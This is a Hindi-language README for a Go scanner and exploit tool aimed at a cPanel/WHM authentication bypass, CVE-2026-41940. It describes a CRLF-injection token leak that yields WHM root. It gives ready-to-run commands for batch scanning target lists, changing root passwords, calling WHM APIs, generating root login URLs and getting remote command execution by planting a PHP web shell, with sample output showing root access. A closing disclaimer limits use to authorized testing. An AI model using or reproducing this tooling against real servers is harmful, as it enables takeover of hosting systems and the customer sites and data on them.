
Go-आधारित स्कैनर और CVE-2026-41940 के लिए एक्सप्लॉइट टूल, जो cPanel/WHM में एक प्रमाणीकरण बायपास है। बैच स्कैनिंग, टोकन लीकेज, और RCE, पासवर्ड बदलने, तथा API कॉल जैसी पोस्ट-एक्सप्लॉइटेशन क्रियाओं का समर्थन करता है।
watchTowr के Python PoC के आधार पर पुनर्लिखित Go कमांड-लाइन टूल, जो CVE-2026-41940 cPanel/WHM प्रमाणीकरण बायपास भेद्यता का पता लगाने और उसका शोषण करने के लिए है।
CVE-2026-41940 cPanel/WHM की एक प्रमाणीकरण बायपास भेद्यता है, जिसमें हमले की श्रृंखला CRLF इंजेक्शन के माध्यम से Basic Auth हेडर में सुरक्षा टोकन लीक करती है और WHM root विशेषाधिकार प्राप्त करती है।
4-चरणीय हमला श्रृंखला:
/login/ पर गलत क्रेडेंशियल भेजें, मूल whostmgrsession कुकी प्राप्त करेंAuthorization: Basic हेडर के माध्यम से न्यूलाइन इंजेक्ट करें, सर्वर को 307 रीडायरेक्ट के Location हेडर में cpsess सुरक्षा टोकन लीक करने के लिए प्रेरित करेंdo_token_denied ट्रिगर करें/json-api/version तक पहुँचें, सत्यापित करें कि root विशेषाधिकार प्राप्त हुआ है या नहींhttp://, https://, बिना प्रोटोकॉल प्रारूपों के साथ स्वचालित संगतता, स्वचालित डीडुप्लिकेशन-passwd)-api)-session)-cmd)[VULN] लाल, [SAFE] हरा हाइलाइट# Go 1.20+ आवश्यक है
cd cpanel-checker
go build -o cpanel-checker .
| पैरामीटर | विवरण | उदाहरण |
|---|---|---|
-u | एकल लक्ष्य URL | -u https://1.2.3.4:2087 |
-f | URL सूची वाली फ़ाइल | -f targets.txt |
-o | आउटपुट फ़ाइल पथ (डिफ़ॉल्ट result.txt) | -o vuln.txt |
-c | समवर्ती संख्या (डिफ़ॉल्ट 10) | -c 20 |
-hostname | Host हेडर मैन्युअल रूप से निर्दिष्ट करें (डिफ़ॉल्ट स्वचालित खोज) | -hostname cpanel.example.com |
-passwd | root पासवर्ड बदलें (केवल -u मोड) | -passwd NewP@ss123 |
-api | WHM API फ़ंक्शन कॉल करें (केवल -u मोड) | -api listaccts |
-api-params | WHM API पैरामीटर, अल्पविराम से अलग | -api-params user=root,password=123 |
-session | root वन-क्लिक लॉगिन URL उत्पन्न करें (केवल -u मोड) | -session |
-keep | RCE अस्थायी खाता रखें, हटाएँ नहीं (-cmd के साथ) | -keep |
-cmd | रिमोट कमांड निष्पादित करें / RCE (केवल -u मोड) | -cmd "id" |
./cpanel-checker -u https://target:2087
पोर्ट डिफ़ॉल्ट रूप से 2087 है, निम्नलिखित लेखन समतुल्य हैं:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt निम्नलिखित प्रारूपों का समर्थन करता है (प्रत्येक पंक्ति में एक, # से शुरू होने वाली टिप्पणियाँ):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# यह एक टिप्पणी है
http://1.1.1.1 और https://1.1.1.1 को एक ही लक्ष्य माना जाता है, केवल एक बार स्कैन किया जाता हैhttps:// में पूर्ण किए जाते हैं2087 का उपयोग करते हैंresult.txt में सहेजे जाते हैं (-o के साथ अनुकूलित किया जा सकता है)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# सभी खाते सूचीबद्ध करें
./cpanel-checker -u https://target:2087 -api listaccts
# पैरामीटर के साथ कॉल करें
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
एक URL आउटपुट होता है, जिसे ब्राउज़र में खोलने पर WHM प्रबंधन पैनल में प्रवेश किया जा सकता है। पैनल में Terminal सुविधा का उपयोग करके इंटरैक्टिव root शेल प्राप्त किया जा सकता है।
नोट:
-sessionअर्ध-स्वचालित है — टूल लॉगिन URL उत्पन्न करने के बाद, आपको इसे मैन्युअल रूप से ब्राउज़र में खोलना होगा।
./cpanel-checker -u https://target:2087 -cmd "id"
-keep जोड़ने पर अस्थायी खाता रखा जाता है, जिसका उपयोग cPanel बैकएंड में लॉगिन करने के लिए किया जा सकता है:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
-keep का उपयोग करने पर आउटपुट में अस्थायी खाते का उपयोगकर्ता नाम, पासवर्ड और cPanel लॉगिन पता (https://host:2083) शामिल होगा, इन क्रेडेंशियल्स का उपयोग सीधे cPanel पैनल में लॉगिन करने के लिए करें।
-cmd पूर्णतः स्वचालित है, किसी अन्य मैन्युअल ऑपरेशन की आवश्यकता नहीं है। आंतरिक प्रक्रिया:
Fileman::save_file_content) के माध्यम से ~/public_html/ में PHP शेल लिखेंhttps://host/~tmpuser/shell.php तक पहुँचकर कमांड निष्पादित करेंपूर्व शर्त: लक्ष्य का पोर्ट 80 या 443 पहुँच योग्य होना चाहिए, और Apache/httpd चल रहा होना चाहिए।
कई शोषण पैरामीटर एक साथ उपयोग किए जा सकते हैं:
# एक साथ लॉगिन URL प्राप्त करें, कमांड निष्पादित करें, पासवर्ड बदलें
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
जब लक्ष्य IP और cPanel में कॉन्फ़िगर किया गया होस्टनाम मेल नहीं खाते हैं, तो मैन्युअल रूप से निर्दिष्ट किया जा सकता है:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
डिफ़ॉल्ट रूप से टूल /openid_connect/cpanelid के 307 रीडायरेक्ट के माध्यम से सही होस्टनाम स्वचालित रूप से खोजता है।
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== स्कैन पूर्ण ==========
कुल: 5 | भेद्यता वाले: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] परिणाम result.txt में सहेजे गए
[*] लक्ष्य: https://target:2087
[*] मोड: शोषण
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM root विशेषाधिकार प्राप्त हुआ
[*] रिमोट कमांड निष्पादित कर रहा है (RCE)...
[a] अस्थायी खाता बनाना: tmpabcde
[b] शेल लिखना: /home/tmpabcde/public_html/random.php
[c] कमांड निष्पादित करना: id
[d] अस्थायी खाता साफ़ करना: tmpabcde
[+] कमांड आउटपुट:
uid=0(root) gid=0(root) groups=0(root)
[+] पूर्ण। https://target:2087 नियंत्रित कर लिया गया है
-passwd, -api, -session, -cmd) केवल -u एकल लक्ष्य मोड में उपलब्ध हैं, -f बैच मोड का समर्थन नहीं करते# से शुरू होने वाली पंक्तियाँ अनदेखी की जाती हैंयह टूल केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए है। बिना प्राधिकरण के सिस्टम का परीक्षण करना अवैध है। उपयोगकर्ता को यह सुनिश्चित करना चाहिए कि उन्होंने लक्ष्य सिस्टम के स्वामी से स्पष्ट लिखित प्राधिकरण प्राप्त किया है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।